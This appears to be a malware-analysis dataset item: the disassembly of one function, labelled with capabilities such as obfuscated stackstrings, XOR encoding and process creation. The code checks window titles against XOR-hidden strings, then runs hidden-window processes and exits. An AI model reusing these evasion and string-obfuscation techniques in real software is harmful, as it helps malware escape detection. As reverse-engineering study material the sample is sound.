Function at 0x10001f30
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get graphical window text
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000c31c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x240
mov eax, dword [0x10010040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.USER32.dll_GetTopWindow]
mov esi, eax
mov dword [ebp - 0x250], esi
test esi, esi
je 0x100022ef
nop dword [eax]
push 0x100
lea eax, [ebp - 0x118]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x130]
call fcn.10004200
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1a0], xmm0
xor ecx, ecx
mov dword [ebp - 0x190], 0
movaps xmm0, xmmword [0x1000da20]
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x238], 0x2e6b766b
mov dword [ebp - 0x234], 0x27252026
mov byte [ebp - 0x230], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x248]
xor byte [ebp + ecx - 0x247], al
inc ecx
cmp ecx, 0x17
jb 0x10002000
push ecx
lea eax, [ebp - 0x247]
mov byte [ebp - 0x230], 0
push eax
lea ecx, [ebp - 0x1a0]
call fcn.10003da0
push 0x38
lea eax, [ebp - 0x210]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [ebp - 0x210], 0
add esp, 0xc
mov byte [ebp - 0x20c], 0
movups xmmword [ebp - 0x208], xmm0
mov dword [ebp - 0x1f8], 0
mov byte [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x1ec], 0
mov byte [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0
mov byte [ebp - 0x1dc], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0xf
lea edi, [ebp - 0x130]
mov edx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
cmova ecx, edx
cmova edi, edx
add eax, ecx
cmp dword [ebp - 0x11c], 0xf
lea ecx, [ebp - 0x130]
push edi
cmova ecx, edx
lea edx, [ebp - 0x1a0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x210]
call fcn.10004bf0
add esp, 0x10
test al, al
jne 0x10002469
xorps xmm0, xmm0
mov byte [ebp - 0x230], al
movups xmmword [ebp - 0x18c], xmm0
xor eax, eax
mov dword [ebp - 0x17c], 0
movaps xmm0, xmmword [0x1000dab0]
movups xmmword [ebp - 0x244], xmm0
mov dword [ebp - 0x234], 0x42404543
mov cl, byte [ebp - 0x244]
xor byte [ebp + eax - 0x243], cl
inc eax
cmp eax, 0x13
jb 0x10002131
push ecx
lea eax, [ebp - 0x243]
mov byte [ebp - 0x230], 0
push eax
lea ecx, [ebp - 0x18c]
call fcn.10003da0
push 0x38
lea eax, [ebp - 0x1d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [ebp - 0x1d8], 0
add esp, 0xc
mov byte [ebp - 0x1d4], 0
movups xmmword [ebp - 0x1d0], xmm0
mov dword [ebp - 0x1c0], 0
mov byte [ebp - 0x1bc], 0
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0
mov byte [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1a8], 0
mov byte [ebp - 0x1a4], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0xf
lea edi, [ebp - 0x130]
mov edx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
cmova ecx, edx
cmova edi, edx
add eax, ecx
cmp dword [ebp - 0x11c], 0xf
lea ecx, [ebp - 0x130]
push edi
cmova ecx, edx
lea edx, [ebp - 0x18c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1d8]
call fcn.10004bf0
add esp, 0x10
test al, al
jne 0x10002342
push 2
push dword [ebp - 0x250]
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x250], esi
call fcn.10003cd0
lea ecx, [ebp - 0x18c]
call fcn.10004370
mov ecx, dword [ebp - 0x17c]
test ecx, ecx
je 0x10002277
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x10002277
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
lea ecx, [ebp - 0x208]
call fcn.10003cd0
lea ecx, [ebp - 0x1a0]
call fcn.10004370
mov ecx, dword [ebp - 0x190]
test ecx, ecx
je 0x100022aa
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x100022aa
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x100022e7
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100022dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000233c
push ecx
push edx
call fcn.1000b268
add esp, 8
test esi, esi
jne 0x10001f90
mov dl, 0x54
mov dword [ebp - 0x220], 0x39311954
mov dword [ebp - 0x21c], 0x742d263b
xor ecx, ecx
mov dword [ebp - 0x218], 0x23313d02
mov word [ebp - 0x214], 0x2631
mov byte [ebp - 0x212], 0
lea eax, [ebp - 0x21f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x10002580
mov dl, byte [ebp - 0x220]
jmp 0x10002321
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
movaps xmm0, xmmword [0x1000daf0]
xor ecx, ecx
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x238], 0x6d446578
mov dword [ebp - 0x234], 0x223d676f
mov dword [ebp - 0x230], 0x697469
mov al, byte [ebp - 0x248]
xor byte [ebp + ecx - 0x247], al
inc ecx
cmp ecx, 0x1a
jb 0x10002370
xor eax, eax
mov byte [ebp - 0x22d], 0
mov word [ebp - 0x136], ax
xorps xmm0, xmm0
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x178]
movlpd qword [ebp - 0x174], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x247]
movlpd qword [ebp - 0x16c], xmm0
push eax
push 0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x146], xmm0
movlpd qword [ebp - 0x13e], xmm0
mov dword [ebp - 0x178], 0x44
mov dword [ebp - 0x14c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x220]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x220]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x21c]
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
push 0
push str.Telegram
push 0x1000d380
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x3e8
call esi
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dl, 0x2e
mov dword [ebp - 0x220], 0x5a406f2e
mov dword [ebp - 0x21c], 0x4d4f6647
xor ecx, ecx
mov dword [ebp - 0x218], 0x4b001f45
mov word [ebp - 0x214], 0x4b56
mov byte [ebp - 0x212], 0
nop dword [eax + eax]
lea eax, [ebp - 0x21f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x100024b7
mov dl, byte [ebp - 0x220]
jmp 0x100024a0
xor eax, eax
mov byte [ebp - 0x212], 0
mov word [ebp - 0x136], ax
xorps xmm0, xmm0
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x178]
movlpd qword [ebp - 0x174], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x21f]
movlpd qword [ebp - 0x16c], xmm0
push eax
push 0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x146], xmm0
movlpd qword [ebp - 0x13e], xmm0
mov dword [ebp - 0x178], 0x44
mov dword [ebp - 0x14c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x23c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x238]
call esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x21f]
push eax
push 0
mov byte [ebp - 0x212], 0
call esi
test eax, eax
jne 0x10002693
mov byte [ebp - 0x21c], 0x56
mov al, 0x99
xor al, byte [ebp - 0x21c]
mov cl, 0xa6
xor cl, byte [ebp - 0x21c]
mov dh, 0xa7
mov byte [ebp - 0x21b], al
mov ah, 0xa0
mov byte [ebp - 0x249], dh
mov dl, 0xb8
mov al, byte [ebp - 0x249]
mov ch, 0xb3
mov byte [ebp - 0x21a], cl
mov cl, byte [ebp - 0x21c]
xor al, cl
mov byte [ebp - 0x24a], 0xad
mov byte [ebp - 0x215], al
xor ah, cl
mov al, byte [ebp - 0x24a]
xor dl, cl
xor al, cl
mov byte [ebp - 0x218], ah
mov byte [ebp - 0x214], al
xor ch, cl
lea eax, [ebp - 0x21b]
mov byte [ebp - 0x213], 0
push eax
xor dh, cl
mov byte [ebp - 0x219], dl
push 0
mov byte [ebp - 0x217], ch
mov byte [ebp - 0x216], dh
mov byte [ebp - 0x213], 0
call esi
test eax, eax
jne 0x10002693
mov dl, 0x1c
mov dword [ebp - 0x220], 0x736e4c1c
mov dword [ebp - 0x21c], 0x6f6f797f
xor ecx, ecx
mov dword [ebp - 0x218], 0x6f75503c
mov word [ebp - 0x214], 0x68
lea eax, [ebp - 0x21f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x10002679
mov dl, byte [ebp - 0x220]
jmp 0x10002662
lea eax, [ebp - 0x21f]
mov byte [ebp - 0x213], 0
push eax
push 0
call esi
test eax, eax
je 0x1000278d
movaps xmm0, xmmword [0x1000da40]
xor ecx, ecx
movups xmmword [ebp - 0x22c], xmm0
mov dword [ebp - 0x21c], 0x2801203d
mov dword [ebp - 0x218], 0x677b222a
mov dword [ebp - 0x214], 0x2c312c
mov al, byte [ebp - 0x22c]
xor byte [ebp + ecx - 0x22b], al
inc ecx
cmp ecx, 0x1a
jb 0x100026c1
xor eax, eax
mov byte [ebp - 0x211], 0
mov word [ebp - 0x136], ax
xorps xmm0, xmm0
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x178]
movlpd qword [ebp - 0x174], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x22b]
movlpd qword [ebp - 0x16c], xmm0
push eax
push 0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x146], xmm0
movlpd qword [ebp - 0x13e], xmm0
mov dword [ebp - 0x178], 0x44
mov dword [ebp - 0x14c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x23c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x238]
jmp 0x10002437
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000b25a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret